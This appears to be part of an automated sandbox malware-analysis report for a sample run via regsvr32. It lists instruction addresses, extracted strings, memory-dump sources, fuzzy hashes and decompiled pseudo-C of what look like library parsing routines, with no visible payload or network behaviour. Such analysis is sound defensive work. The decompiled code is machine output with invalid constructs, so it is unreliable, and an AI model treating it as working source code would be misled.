0x0041f76f
0x0041f774
0x0041f777
0x0041f77c
0x0041f77e
0x0041f780
0x0041f784
0x0041f789
0x0041f799
0x0041f79d
0x0041f78b
0x0041f78f
0x0041f793
0x0041f793
0x0041f7a2
0x0041f7aa
0x0041f7aa
0x0041f77e
0x0041f7b4
0x0041f7b7
0x0041f7c0
0x0041f7c5
0x0041f7ca
0x0041f7cf
0x0041f7d5
0x0041f7dd
0x0041f7ea
0x0041f7f9
0x0041f7fd
0x0041f806
0x0041f80a
0x0041f815
0x0041f81a
0x0041f828
0x0041f82d
0x0041f831
0x0041f835
0x0041f837
0x0041f840
0x0041f846
0x0041f848
0x0041f848
0x0041f84c
0x0041f84c
0x0041f851
0x0041f856
0x0041f85b
0x0041f860
0x0041f865
0x0041f86b
0x0041f86f
0x0041f873
0x0041f875
0x0041f87e
0x0041f884
0x0041f886
0x0041f886
0x0041f88a
0x0041f88a
0x0041f8a5
0x0041f3d6
0x0041f3d9
0x0041f3db
0x0041f3e2
0x0041f3ef
0x0041f3fe
0x0041f406
0x0041f40a
0x0041f40d
0x0041f412
0x0041f417
0x0041f41c
0x0041f420
0x0041f420
0x0041f3ef
0x0041f427
0x0041f42a
0x0041f433
0x0041f438
0x0041f43d
0x0041f442
0x0041f448
0x0041f450
0x0041f45d
0x0041f469
0x0041f46f
0x0041f476
0x0041f47b
0x0041f480
0x0041f48b
0x0041f490
0x0041f494
0x0041f49c
0x0041f4a7
0x0041f4ac
0x0041f4b4
0x0041f4b6
0x0041f4c5
0x0041f4c7
0x0041f4c7
0x0041f4cb
0x0041f4cb
0x0041f4d0
0x0041f4d5
0x0041f4da
0x0041f4df
0x0041f4e4
0x0041f4ea
0x0041f4f2
0x0041f4f4
0x0041f503
0x0041f505
0x0041f505
0x0041f509
0x0041f509
0x0041f50e
0x0041f511
0x0041f52b
0x0041f52b
0x0041f3d0

Strings

%.0Lf, xrefs: 0041F297
0123456789-, xrefs: 0041F666
string too long, xrefs: 0041F52C

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID: %.0Lf$0123456789-$string too long
API String ID: 0-2289402897
Opcode ID: 8a76d982659a267b22aa577f2812a279c916c42dce72aa3f8296056e9b6df5fa
Instruction ID: 41318a3b4d5b55462a311d47c1a01b5172b93de183b257fe5e34bf4e7a91e267
Opcode Fuzzy Hash: 8a76d982659a267b22aa577f2812a279c916c42dce72aa3f8296056e9b6df5fa
Instruction Fuzzy Hash: DEF19A72610A948ADB11DF36D8407D967A1FB89BCCF404226EF4E17B68EF78C58AC344

Uniqueness

Uniqueness Score: -1.00%

Function 0040A387 Relevance: 4.1, Strings: 2, Instructions: 1593
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0040A387(void* __ebx, void* __ecx, void* __edx, void* __r12, void* __r13, void* __r15, void* _a8, void* _a15, void* _a16, void* _a17, void* _a27, void* _a28, void* _a29, void* _a30, void* _a32, intOrPtr _a33, void* _a38, void* _a39, void* _a40, void* _a41, void* _a42, void* _a43, void* _a44, void* _a48, void* _a56, void* _a64, void* _a68, void* _a72, void* _a84, void* _a192, void* _a200) {
				void* _v8;
				void* _v16;
				void* _v24;
				void* _v32;
				void* _v40;
				void* _v48;
				void* _v56;
				void* _v64;
				void* _v80;
				void* _v88;
				void* _v96;
				void* _v152;
				void* _v15630593;
				void* _v15761665;
				void* _t836;
				void* _t837;

				_t837 = __ecx;
				_t836 = __ebx;
				_a33 = _a33 + __edx;
			}

0x0040a387
0x0040a387
0x0040a387

Strings

0123456789ABCDEFabcdef-+XxPp, xrefs: 0040B791, 0040BBB0, 0040BE4F, 0040C357, 0040C8C7
string too long, xrefs: 0040CA6B

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID: 0123456789ABCDEFabcdef-+XxPp$string too long
API String ID: 0-1067921028
Opcode ID: 1972027389b2dd8f0db8777aac1164b1c1f2720881b39f432ee9e19f56a2da2a
Instruction ID: 35938b29046419b839349b4b9b5dc4347595b833ff3029556b6e54a95d056502
Opcode Fuzzy Hash: 1972027389b2dd8f0db8777aac1164b1c1f2720881b39f432ee9e19f56a2da2a
Instruction Fuzzy Hash: ABD2A077205A44C9DB158F29C49036E3B61E744F98F689627DE5E6B3E4CB3DC882C398

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800048FC Relevance: 4.0, Strings: 3, Instructions: 225COMMON

Download Yara Rule

Strings

;, xrefs: 0000000180004BE0
fdu, xrefs: 0000000180004ACA
O,, xrefs: 0000000180004938

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ;$O,$fdu
API String ID: 0-1721916326
Opcode ID: 85396711fe01e2282415cffc97d2cae76b85543eafba1fee15bed9e01615747c
Instruction ID: 16f1eb3a9f40cf490b649b94708c05f71c505f93e5921cb49c588ab0dc8a6aac
Opcode Fuzzy Hash: 85396711fe01e2282415cffc97d2cae76b85543eafba1fee15bed9e01615747c
Instruction Fuzzy Hash: C5B10771D1471CEBDB58DFA8E8C9A9DBBF1FB58314F008219F805AA2A0CB749949CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180003E0C Relevance: 3.9, Strings: 3, Instructions: 171COMMON

Download Yara Rule

Strings

&v, xrefs: 0000000180003EC8
u, xrefs: 0000000180003EF1
f, xrefs: 0000000180003E35

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: u$&v$f
API String ID: 0-1868853588
Opcode ID: 4a0e0bcf9159e8ed5db1efbd4fd836488bb382803c7d1313d4c59486869e04d2
Instruction ID: d79e2734ac6c7bd01bed2cf7305e86c946ff371babb8b7bbf741cf7ff7ecbbed
Opcode Fuzzy Hash: 4a0e0bcf9159e8ed5db1efbd4fd836488bb382803c7d1313d4c59486869e04d2
Instruction Fuzzy Hash: 6D714471D04708ABDB5CCFA8E58A2DDBBB1FB48304F10812DF416A72A0CB749A49CF81

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001E750 Relevance: 3.9, Strings: 3, Instructions: 145COMMON

Download Yara Rule

Strings

j, xrefs: 000000018001E86D
o, xrefs: 000000018001E8F8
t, xrefs: 000000018001E908

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: o$j$t
API String ID: 0-2067604139
Opcode ID: 113b91994dddf0efa674f36996042e856a8803c02bc6c37f7aa57fbd8228378e
Instruction ID: a8dddf4014a671b28994b344a6f0cf77fa84352527a677147972dd45c7d70cfc
Opcode Fuzzy Hash: 113b91994dddf0efa674f36996042e856a8803c02bc6c37f7aa57fbd8228378e
Instruction Fuzzy Hash: 7F61C2705087848BE369DF28C58665FBBF1FBC6744F104A1DF68A862A0D77AD944CB43

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001D5F0 Relevance: 3.8, Strings: 3, Instructions: 96COMMON

Download Yara Rule

Strings

wy, xrefs: 000000018001D66F
P, xrefs: 000000018001D6C4
KGRa, xrefs: 000000018001D70C

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: P$KGRa$wy
API String ID: 0-4077564265
Opcode ID: d053b19ec2bcb7975f54130f0bec91227afaf154fd553d0fa3630ba3df2317cc
Instruction ID: 9a3968cb05df1baff8a12db8b5df1ea6f762222b449e9fe9b6161af6788d23cd
Opcode Fuzzy Hash: d053b19ec2bcb7975f54130f0bec91227afaf154fd553d0fa3630ba3df2317cc
Instruction Fuzzy Hash: 4F41C1B090074E8BDF48CF68C8865DE7FB0FB58348F55461DE84AA6290D37896A4CFC4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018BB8 Relevance: 3.8, Strings: 3, Instructions: 96COMMON

Download Yara Rule

Strings

N@`Y, xrefs: 0000000180018C7D
=, xrefs: 0000000180018D0C
`Y, xrefs: 0000000180018BCF

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: =$N@`Y$`Y
API String ID: 0-2183226064
Opcode ID: d2df9a4b86a3a0f31adfb1a7bc02e0a1df19d01470a0e79ca81506aab5c400ca
Instruction ID: e537ba31dbc70590a319be2bcd0dab299447be29655e27f59400ffb30c041719
Opcode Fuzzy Hash: d2df9a4b86a3a0f31adfb1a7bc02e0a1df19d01470a0e79ca81506aab5c400ca
Instruction Fuzzy Hash: 9D51D4B190074E8FDB44CF68C88A5DE7FB0FB68398F204619F856A6250D3B496A4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001EAC0 Relevance: 3.8, Strings: 3, Instructions: 86COMMON

Download Yara Rule

Strings

~?, xrefs: 000000018001EB85
\, xrefs: 000000018001EACC
'0, xrefs: 000000018001EBFD

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: '0$~?$\
API String ID: 0-629757258
Opcode ID: 954a36b238481698c7266dd80e523f1c680ea4ba7fc80669a00137daf7e51e24
Instruction ID: a53cbc10cd410c6f7a90c7321051e2586a0f30f2a5d8f4d89f6cdafffd88cf59
Opcode Fuzzy Hash: 954a36b238481698c7266dd80e523f1c680ea4ba7fc80669a00137daf7e51e24
Instruction Fuzzy Hash: E641CEB0548B808BE758CF28C59A51ABBF1FBC5344F604A2DF6968A3A0D775D885CF42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000DCB8 Relevance: 3.8, Strings: 3, Instructions: 80COMMON

Download Yara Rule

Strings

z, xrefs: 000000018000DD83
~*b, xrefs: 000000018000DD03
A7, xrefs: 000000018000DD24

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: A7$z$~*b
API String ID: 0-275545515
Opcode ID: b8479da6f0f4b7c6bcd662b5c54a20f953bf565876b4d716e1e2544701f062c2
Instruction ID: 333a3135e1c9045595a4a45ea12d76e2878938de9ae509e935dda55130ff7576
Opcode Fuzzy Hash: b8479da6f0f4b7c6bcd662b5c54a20f953bf565876b4d716e1e2544701f062c2
Instruction Fuzzy Hash: DE41E5B180074ECFDB48CF64C48A5DE7FB0FB64398F204619E855A6250D3B896A9CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000A7F0 Relevance: 3.8, Strings: 3, Instructions: 72COMMON

Download Yara Rule

Strings

H, xrefs: 000000018000A8C6
{,%, xrefs: 000000018000A85C
rTk=, xrefs: 000000018000A831

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: H$rTk=${,%
API String ID: 0-3174111592
Opcode ID: cd8ee6c86ca05777d6c328effcc2208a9f98b66aff3d67038adbddc0681d1a7c
Instruction ID: 1f0cd591c52b57c4d91e386d9bfc107eac6d771367864fd1a0c7b53ed32caac5
Opcode Fuzzy Hash: cd8ee6c86ca05777d6c328effcc2208a9f98b66aff3d67038adbddc0681d1a7c
Instruction Fuzzy Hash: 74310A7052C7859BE798DF28C4C9A5EBBE1FBC5354F90AA1CF482862A1C779C549CB03

Uniqueness

Uniqueness Score: -1.00%

Function 004165D0 Relevance: 3.3, Strings: 2, Instructions: 799
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E004165D0(intOrPtr* __rax, signed int __rdx, intOrPtr* __r8, long long __r9) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __r12;
				void* __r13;
				void* __r14;
				void* __r15;
				signed int _t243;
				signed int _t245;
				signed int _t249;
				void* _t253;
				signed int _t254;
				signed int _t256;
				signed int _t264;
				signed short _t266;
				signed short _t268;
				signed short _t270;
				signed int _t277;
				signed short _t278;
				signed int _t282;
				char _t285;
				signed short _t287;
				signed short _t291;
				signed short _t292;
				signed short _t295;
				signed short _t297;
				signed short _t299;
				signed short _t300;
				signed short _t302;
				char _t304;
				signed short _t305;
				signed short _t307;
				signed short _t308;
				signed short _t310;
				void* _t313;
				signed int _t314;
				signed int _t315;
				signed char _t319;
				void* _t321;
				signed int _t324;
				intOrPtr _t327;
				void* _t329;
				signed int _t330;
				signed int _t331;
				char _t334;
				void* _t335;
				intOrPtr _t336;
				signed int _t338;
				signed int _t339;
				signed int _t341;
				signed int _t343;
				void* _t345;
				intOrPtr* _t403;
				intOrPtr* _t404;
				signed short* _t406;
				unsigned long long _t407;
				char* _t409;
				intOrPtr _t410;
				intOrPtr _t411;
				void* _t415;
				intOrPtr _t418;
				intOrPtr* _t419;
				signed long long _t421;
				intOrPtr _t422;
				void* _t423;
				void* _t424;
				signed short* _t428;
				long long* _t430;
				long long* _t440;
				signed short* _t443;
				signed short* _t448;
				long long* _t450;
				signed short* _t454;
				signed short* _t457;
				signed short* _t460;
				void* _t462;
				signed int _t463;
				signed long long _t466;
				unsigned long long _t470;
				intOrPtr* _t475;
				intOrPtr* _t476;
				intOrPtr* _t477;
				intOrPtr* _t478;
				intOrPtr* _t479;
				intOrPtr* _t480;
				intOrPtr _t482;
				intOrPtr _t483;
				signed int _t485;
				void* _t486;
				signed long long _t488;
				void* _t490;
				unsigned long long _t492;
				char* _t495;
				signed long long _t497;
				signed int _t499;
				signed long long _t501;
				signed int _t504;
				void* _t505;
				short* _t508;
				intOrPtr _t510;
				intOrPtr _t511;
				intOrPtr* _t513;
				void* _t518;
				intOrPtr* _t519;
				intOrPtr* _t520;
				intOrPtr* _t521;
				intOrPtr* _t522;
				intOrPtr* _t524;
				intOrPtr* _t525;
				intOrPtr* _t527;
				intOrPtr* _t528;
				intOrPtr* _t530;
				intOrPtr* _t531;
				unsigned long long _t535;
				signed int _t536;
				void* _t541;
				intOrPtr* _t542;
				unsigned long long _t544;
				signed int _t546;
				intOrPtr* _t554;
				signed int* _t555;
				signed int* _t556;
				signed int* _t557;
				void* _t558;
				char* _t560;
				unsigned long long _t563;
				unsigned long long _t564;
				unsigned long long _t567;
				intOrPtr* _t568;
				void* _t569;
				void* _t571;
				void* _t572;
				void* _t583;
				void* _t584;
				unsigned long long _t585;
				void* _t586;
				void* _t588;
				signed int _t589;
				signed int _t591;
				char* _t592;
				char* _t594;
				void* _t596;
				intOrPtr* _t597;
				intOrPtr _t600;
				signed long long _t601;
				signed int _t603;
				signed long long _t605;

				_t582 = __r9;
				_t577 = __r8;
				_t403 = __rax;
				_t572 = _t571 - 0xd8;
				_t568 = _t572 + 0x80;
				 *((long long*)(_t568 + 0x30)) = __r9;
				_t597 = __r8;
				_t463 = __rdx;
				_t559 =  *((intOrPtr*)(_t568 + 0xc8));
				E00412FF0(_t313, _t321, _t329, _t345,  *((intOrPtr*)(_t568 + 0xc8)), __r8, __r9, _t584, _t585, _t591, __r8, _t603);
				_t542 = _t403;
				_t404 =  *_t542;
				 *((intOrPtr*)(_t404 + 0x30))(_t462, _t541, _t558, _t585, _t591, _t596, _t603);
				if( *((long long*)(_t568 - 8)) == 0) {
					 *(_t568 + 0x4c) = 0;
				} else {
					_t404 =  *_t542;
					 *(_t568 + 0x4c) =  *((intOrPtr*)(_t404 + 0x28))();
				}
				E004119C0(_t313, _t321, _t329, _t345, _t559, _t577, _t582, _t584, _t597);
				_t535 = "0123456789ABCDEFabcdef-+Xx";
				_t583 = _t568 - 0x60;
				 *((intOrPtr*)( *_t404 + 0x68))();
				_t475 =  *_t597;
				_t334 = 0;
				_t330 = 0;
				if(_t475 != 0) {
					_t460 =  *((intOrPtr*)( *((intOrPtr*)(_t475 + 0x38))));
					if(_t460 == 0) {
						L7:
						_t310 =  *((intOrPtr*)( *_t475 + 0x38))();
					} else {
						_t535 =  *((intOrPtr*)(_t475 + 0x50));
						if( *_t535 <= 0) {
							goto L7;
						} else {
							_t310 =  *_t460 & 0x0000ffff;
						}
					}
					_t330 = 0;
					dil = (_t310 & 0x0000ffff) != 0xffff;
				}
				_t476 =  *((intOrPtr*)( *((intOrPtr*)(_t568 + 0x30))));
				if(_t476 != 0) {
					_t457 =  *((intOrPtr*)( *((intOrPtr*)(_t476 + 0x38))));
					if(_t457 == 0) {
						L13:
						_t308 =  *((intOrPtr*)( *_t476 + 0x38))();
					} else {
						_t535 =  *((intOrPtr*)(_t476 + 0x50));
						if( *_t535 <= 0) {
							goto L13;
						} else {
							_t308 =  *_t457 & 0x0000ffff;
						}
					}
					_t334 = 0;
					sil = (_t308 & 0x0000ffff) != 0xffff;
				}
				if(_t330 != _t334) {
					__eflags =  *((char*)(_t597 + 8));
					if( *((char*)(_t597 + 8)) == 0) {
						_t531 =  *_t597;
						__eflags = _t531;
						if(_t531 == 0) {
							L25:
							 *_t597 = 0;
						} else {
							_t454 =  *((intOrPtr*)( *((intOrPtr*)(_t531 + 0x38))));
							__eflags = _t454;
							if(_t454 == 0) {
								L22:
								_t307 =  *((intOrPtr*)( *_t531 + 0x38))();
							} else {
								_t535 =  *((intOrPtr*)(_t531 + 0x50));
								__eflags =  *_t535;
								if( *_t535 <= 0) {
									goto L22;
								} else {
									_t307 =  *_t454 & 0x0000ffff;
								}
							}
							_t315 = _t307 & 0x0000ffff;
							__eflags = _t315 - 0xffff;
							if(_t315 == 0xffff) {
								goto L25;
							} else {
								 *(_t597 + 0xa) = _t307;
							}
						}
						 *((char*)(_t597 + 8)) = 1;
					}
					_t243 =  *(_t597 + 0xa) & 0x0000ffff;
					__eflags = _t243 -  *((intOrPtr*)(_t568 - 0x32));
					if(_t243 !=  *((intOrPtr*)(_t568 - 0x32))) {
						__eflags = _t243 -  *((intOrPtr*)(_t568 - 0x34));
						if(_t243 !=  *((intOrPtr*)(_t568 - 0x34))) {
							goto L16;
						} else {
							 *_t463 = 0x2d;
							_t528 =  *_t597;
							__eflags = _t528;
							if(_t528 == 0) {
								goto L40;
							} else {
								_t450 =  *((intOrPtr*)(_t528 + 0x38));
								_t535 =  *_t450;
								__eflags = _t535;
								if(_t535 == 0) {
									L37:
									_t305 =  *((intOrPtr*)( *_t528 + 0x40))();
								} else {
									_t557 =  *((intOrPtr*)(_t528 + 0x50));
									_t343 =  *_t557;
									__eflags = _t343;
									if(_t343 <= 0) {
										goto L37;
									} else {
										goto L36;
									}
								}
								goto L38;
							}
							goto L41;
						}
					} else {
						 *_t463 = 0x2b;
						_t530 =  *_t597;
						__eflags = _t530;
						if(_t530 == 0) {
							L40:
							 *_t597 = 0;
							_t304 = 1;
						} else {
							_t450 =  *((intOrPtr*)(_t530 + 0x38));
							_t535 =  *_t450;
							__eflags = _t535;
							if(_t535 == 0) {
								L31:
								_t305 =  *((intOrPtr*)( *_t530 + 0x40))();
							} else {
								_t557 =  *((intOrPtr*)(_t530 + 0x50));
								_t343 =  *_t557;
								__eflags = _t343;
								if(_t343 > 0) {
									L36:
									 *_t557 = _t343 - 1;
									 *_t450 = _t535 + 2;
									_t305 =  *_t535 & 0x0000ffff;
								} else {
									goto L31;
								}
							}
							L38:
							__eflags = (_t305 & 0x0000ffff) - 0xffff;
							if((_t305 & 0x0000ffff) == 0xffff) {
								goto L40;
							} else {
								_t304 = 0;
							}
						}
						L41:
						 *((char*)(_t597 + 8)) = _t304;
						r12d = 1;
					}
				} else {
					L16:
					r12d = 0;
				}
				_t245 =  *(_t568 + 0xc0) & 0x00000070;
				if(_t245 == 0x20) {
					r15d = 8;
				} else {
					if(_t245 != 0x40) {
						__eflags = _t245;
						r15d = 0xa;
						r15d =  ==  ? _t245 : r15d;
					} else {
						r15d = 0x10;
					}
				}
				_t477 =  *_t597;
				_t335 = 0;
				_t331 = 0;
				if(_t477 != 0) {
					_t448 =  *((intOrPtr*)( *((intOrPtr*)(_t477 + 0x38))));
					if(_t448 == 0) {
						L51:
						_t302 =  *((intOrPtr*)( *_t477 + 0x38))();
					} else {
						_t535 =  *((intOrPtr*)(_t477 + 0x50));
						if( *_t535 <= 0) {
							goto L51;
						} else {
							_t302 =  *_t448 & 0x0000ffff;
						}
					}
					_t331 = 0;
					dil = (_t302 & 0x0000ffff) != 0xffff;
				}
				_t406 =  *((intOrPtr*)(_t568 + 0x30));
				_t478 =  *_t406;
				if(_t478 != 0) {
					_t406 =  *((intOrPtr*)( *((intOrPtr*)(_t478 + 0x38))));
					if(_t406 == 0) {
						L57:
						_t406 =  *_t478;
						_t300 = _t406[0x1c]();
					} else {
						_t535 =  *((intOrPtr*)(_t478 + 0x50));
						if( *_t535 <= 0) {
							goto L57;
						} else {
							_t300 =  *_t406 & 0x0000ffff;
						}
					}
					_t335 = 0;
					sil = (_t300 & 0x0000ffff) != 0xffff;
				}
				 *(_t568 + 0x38) = _t463;
				if(_t331 != _t335) {
					__eflags =  *((char*)(_t597 + 8));
					if( *((char*)(_t597 + 8)) == 0) {
						_t527 =  *_t597;
						__eflags = _t527;
						if(_t527 == 0) {
							L69:
							 *_t597 = 0;
						} else {
							_t406 =  *((intOrPtr*)( *((intOrPtr*)(_t527 + 0x38))));
							__eflags = _t406;
							if(_t406 == 0) {
								L66:
								_t406 =  *_t527;
								_t299 = _t406[0x1c]();
							} else {
								_t535 =  *((intOrPtr*)(_t527 + 0x50));
								__eflags =  *_t535;
								if( *_t535 <= 0) {
									goto L66;
								} else {
									_t299 =  *_t406 & 0x0000ffff;
								}
							}
							_t315 = _t299 & 0x0000ffff;
							__eflags = _t315 - 0xffff;
							if(_t315 == 0xffff) {
								goto L69;
							} else {
								 *(_t597 + 0xa) = _t299;
							}
						}
						 *((char*)(_t597 + 8)) = 1;
					}
					__eflags = ( *(_t597 + 0xa) & 0x0000ffff) -  *((intOrPtr*)(_t568 - 0x60));
					_t544 = _t585;
					if(( *(_t597 + 0xa) & 0x0000ffff) !=  *((intOrPtr*)(_t568 - 0x60))) {
						 *(_t568 + 0x50) = 0;
						goto L115;
					} else {
						_t520 =  *_t597;
						__eflags = _t520;
						if(_t520 == 0) {
							L83:
							 *_t597 = 0;
							 *((char*)(_t597 + 8)) = 1;
							goto L84;
						} else {
							_t440 =  *((intOrPtr*)(_t520 + 0x38));
							_t535 =  *_t440;
							__eflags = _t535;
							if(_t535 == 0) {
								L77:
								_t295 =  *((intOrPtr*)( *_t520 + 0x40))();
							} else {
								_t556 =  *((intOrPtr*)(_t520 + 0x50));
								_t341 =  *_t556;
								__eflags = _t341;
								if(_t341 <= 0) {
									goto L77;
								} else {
									 *_t556 = _t341 - 1;
									 *_t440 = _t535 + 2;
									_t295 =  *_t535 & 0x0000ffff;
								}
							}
							__eflags = (_t295 & 0x0000ffff) - 0xffff;
							_t544 = _t585;
							if((_t295 & 0x0000ffff) == 0xffff) {
								goto L83;
							} else {
								_t525 =  *_t597;
								 *((char*)(_t597 + 8)) = 0;
								__eflags = _t525;
								if(_t525 == 0) {
									L84:
									_t338 = 0;
								} else {
									_t443 =  *((intOrPtr*)( *((intOrPtr*)(_t525 + 0x38))));
									__eflags = _t443;
									if(_t443 == 0) {
										L85:
										_t297 =  *((intOrPtr*)( *_t525 + 0x38))();
										_t544 = _t585;
									} else {
										_t535 =  *((intOrPtr*)(_t525 + 0x50));
										__eflags =  *_t535;
										if( *_t535 <= 0) {
											goto L85;
										} else {
											_t297 =  *_t443 & 0x0000ffff;
										}
									}
									_t338 = 0;
									__eflags = (_t297 & 0x0000ffff) - 0xffff;
									sil = (_t297 & 0x0000ffff) != 0xffff;
									__eflags = sil;
								}
							}
						}
						_t406 =  *((intOrPtr*)(_t568 + 0x30));
						_t521 =  *_t406;
						__eflags = _t521;
						if(_t521 == 0) {
							__eflags = _t338;
							if(_t338 != 0) {
								goto L93;
							} else {
								goto L114;
							}
						} else {
							_t406 =  *((intOrPtr*)( *((intOrPtr*)(_t521 + 0x38))));
							__eflags = _t406;
							if(_t406 == 0) {
								L91:
								_t406 =  *_t521;
								_t292 = _t406[0x1c]();
								_t544 = _t585;
							} else {
								_t535 =  *((intOrPtr*)(_t521 + 0x50));
								__eflags =  *_t535;
								if( *_t535 <= 0) {
									goto L91;
								} else {
									_t292 =  *_t406 & 0x0000ffff;
								}
							}
							_t315 = _t292 & 0x0000ffff;
							_t315 - 0xffff = _t338 - (_t315 != 0xffff);
							if(_t338 == _t315 != 0xffff) {
								L114:
								__eflags = r15d;
								r15d =  ==  ? 8 : r15d;
								 *(_t568 + 0x50) = 1;
								goto L115;
							} else {
								L93:
								__eflags =  *((char*)(_t597 + 8));
								if( *((char*)(_t597 + 8)) == 0) {
									_t524 =  *_t597;
									__eflags = _t524;
									if(_t524 == 0) {
										L103:
										 *_t597 = 0;
									} else {
										_t406 =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0x38))));
										__eflags = _t406;
										if(_t406 == 0) {
											L100:
											_t406 =  *_t524;
											_t291 = _t406[0x1c]();
											_t544 = _t585;
										} else {
											_t535 =  *((intOrPtr*)(_t524 + 0x50));
											__eflags =  *_t535;
											if( *_t535 <= 0) {
												goto L100;
											} else {
												_t291 =  *_t406 & 0x0000ffff;
											}
										}
										_t315 = _t291 & 0x0000ffff;
										__eflags = _t315 - 0xffff;
										if(_t315 == 0xffff) {
											goto L103;
										} else {
											 *(_t597 + 0xa) = _t291;
										}
									}
									 *((char*)(_t597 + 8)) = 1;
								}
								_t282 =  *(_t597 + 0xa) & 0x0000ffff;
								__eflags = _t282 -  *((intOrPtr*)(_t568 - 0x2e));
								if(_t282 !=  *((intOrPtr*)(_t568 - 0x2e))) {
									_t315 = r15d | 0x00000010;
									__eflags = _t315 - 0x10;
									if(_t315 != 0x10) {
										goto L114;
									} else {
										__eflags = _t282 -  *((intOrPtr*)(_t568 - 0x30));
										if(_t282 !=  *((intOrPtr*)(_t568 - 0x30))) {
											goto L114;
										} else {
											goto L110;
										}
									}
								} else {
									__eflags = (r15d | 0x00000010) - 0x10;
									if((r15d | 0x00000010) == 0x10) {
										L110:
										_t522 =  *_t597;
										__eflags = _t522;
										if(_t522 == 0) {
											L208:
											 *_t597 = 0;
											_t285 = 1;
										} else {
											_t406 =  *((intOrPtr*)(_t522 + 0x38));
											_t535 =  *_t406;
											__eflags = _t535;
											if(_t535 == 0) {
												L205:
												_t406 =  *_t522;
												_t287 = _t406[0x20]();
											} else {
												_t555 =  *((intOrPtr*)(_t522 + 0x50));
												_t339 =  *_t555;
												__eflags = _t339;
